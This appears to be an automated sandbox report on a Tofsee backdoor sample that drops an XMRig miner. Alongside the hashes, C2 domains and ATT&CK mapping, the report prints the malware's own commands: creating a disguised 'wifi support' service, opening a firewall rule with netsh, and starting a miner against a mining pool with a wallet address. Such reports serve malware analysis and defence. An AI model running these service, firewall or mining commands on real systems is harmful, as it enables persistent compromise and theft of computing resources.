Analysis

  • max time kernel
    146s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-12-2022 06:14

General

  • Target

    328c2e026064a17552df265a9ced731f2cd2040ea302437819e4f2bccf410b2d.exe

  • Size

    185KB

  • MD5

    e116b192ea993d3f4f287b441f6ed470

  • SHA1

    e9fed4db6ac75b1bc6988a7b48290f85fa160b46

  • SHA256

    328c2e026064a17552df265a9ced731f2cd2040ea302437819e4f2bccf410b2d

  • SHA512

    ef9b5c6eb7b9c826bb0124a3bf5b12549355a4d4ca202bd3fa6c5ef147a4d0fffa3a95d7ad477bb54f4a8424dc55da2f955eb92c243a64110eb742d21c429c6d

  • SSDEEP

    3072:tyqMvI7N+xdHYtGMn5aSEEpLgk2QeFJpPFCMmrdEWq4mfKRw+6NEn:rM5xdHYt8qskpeFJtF9W/mf+MNE

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\328c2e026064a17552df265a9ced731f2cd2040ea302437819e4f2bccf410b2d.exe
    "C:\Users\Admin\AppData\Local\Temp\328c2e026064a17552df265a9ced731f2cd2040ea302437819e4f2bccf410b2d.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2560
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eujahpha\
      2⤵
        PID:4928
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\gwcjoaet.exe" C:\Windows\SysWOW64\eujahpha\
        2⤵
          PID:4896
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create eujahpha binPath= "C:\Windows\SysWOW64\eujahpha\gwcjoaet.exe /d\"C:\Users\Admin\AppData\Local\Temp\328c2e026064a17552df265a9ced731f2cd2040ea302437819e4f2bccf410b2d.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4412
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description eujahpha "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2008
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start eujahpha
          2⤵
          • Launches sc.exe
          PID:1520
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3176
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2560 -s 1044
          2⤵
          • Program crash
          PID:344
      • C:\Windows\SysWOW64\eujahpha\gwcjoaet.exe
        C:\Windows\SysWOW64\eujahpha\gwcjoaet.exe /d"C:\Users\Admin\AppData\Local\Temp\328c2e026064a17552df265a9ced731f2cd2040ea302437819e4f2bccf410b2d.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4048
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1104
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3124
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4048 -s 516
          2⤵
          • Program crash
          PID:640
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2560 -ip 2560
        1⤵
          PID:2596
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4048 -ip 4048
          1⤵
            PID:1028

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\gwcjoaet.exe
            Filesize

            13.1MB

            MD5

            4d584ad37c8ec1b93976efc68d149eea

            SHA1

            eb12d5b957e19976b4bd286642b88bf92ea48e27

            SHA256

            2e8bd9972a0de426a95a4dee6ee742c01300d7e3b443c37d91b8a6369f49a518

            SHA512

            c79ce80e66286ceda380892228cb8a81468d81ffa4a4f67f8129b0f5f346fb9c78cee932ad75c5330cc90eadcf25ccb94b94e356c777db2d90b30059ebe6957c

          • C:\Windows\SysWOW64\eujahpha\gwcjoaet.exe
            Filesize

            13.1MB

            MD5

            4d584ad37c8ec1b93976efc68d149eea

            SHA1

            eb12d5b957e19976b4bd286642b88bf92ea48e27

            SHA256

            2e8bd9972a0de426a95a4dee6ee742c01300d7e3b443c37d91b8a6369f49a518

            SHA512

            c79ce80e66286ceda380892228cb8a81468d81ffa4a4f67f8129b0f5f346fb9c78cee932ad75c5330cc90eadcf25ccb94b94e356c777db2d90b30059ebe6957c

          • memory/1104-160-0x0000000000FF0000-0x0000000001000000-memory.dmp
            Filesize

            64KB

          • memory/1104-152-0x0000000000D00000-0x0000000000D15000-memory.dmp
            Filesize

            84KB

          • memory/1104-148-0x0000000000D00000-0x0000000000D15000-memory.dmp
            Filesize

            84KB

          • memory/1104-147-0x0000000000000000-mapping.dmp
          • memory/1104-169-0x0000000002FE0000-0x0000000002FE7000-memory.dmp
            Filesize

            28KB

          • memory/1104-166-0x0000000007B40000-0x0000000007F4B000-memory.dmp
            Filesize

            4.0MB

          • memory/1104-163-0x0000000002FD0000-0x0000000002FD5000-memory.dmp
            Filesize

            20KB

          • memory/1104-157-0x0000000000FE0000-0x0000000000FE6000-memory.dmp
            Filesize

            24KB

          • memory/1104-154-0x0000000002B00000-0x0000000002D0F000-memory.dmp
            Filesize

            2.1MB

          • memory/1104-153-0x0000000000D00000-0x0000000000D15000-memory.dmp
            Filesize

            84KB

          • memory/1520-141-0x0000000000000000-mapping.dmp
          • memory/2008-140-0x0000000000000000-mapping.dmp
          • memory/2560-136-0x00000000006DD000-0x00000000006ED000-memory.dmp
            Filesize

            64KB

          • memory/2560-132-0x00000000006DD000-0x00000000006ED000-memory.dmp
            Filesize

            64KB

          • memory/2560-135-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/2560-133-0x00000000021A0000-0x00000000021B3000-memory.dmp
            Filesize

            76KB

          • memory/2560-145-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/2560-144-0x00000000006DD000-0x00000000006ED000-memory.dmp
            Filesize

            64KB

          • memory/3124-178-0x0000000000630000-0x0000000000721000-memory.dmp
            Filesize

            964KB

          • memory/3124-173-0x0000000000630000-0x0000000000721000-memory.dmp
            Filesize

            964KB

          • memory/3124-172-0x0000000000000000-mapping.dmp
          • memory/3176-143-0x0000000000000000-mapping.dmp
          • memory/4048-151-0x0000000000400000-0x0000000000464000-memory.dmp
            Filesize

            400KB

          • memory/4412-139-0x0000000000000000-mapping.dmp
          • memory/4896-137-0x0000000000000000-mapping.dmp
          • memory/4928-134-0x0000000000000000-mapping.dmp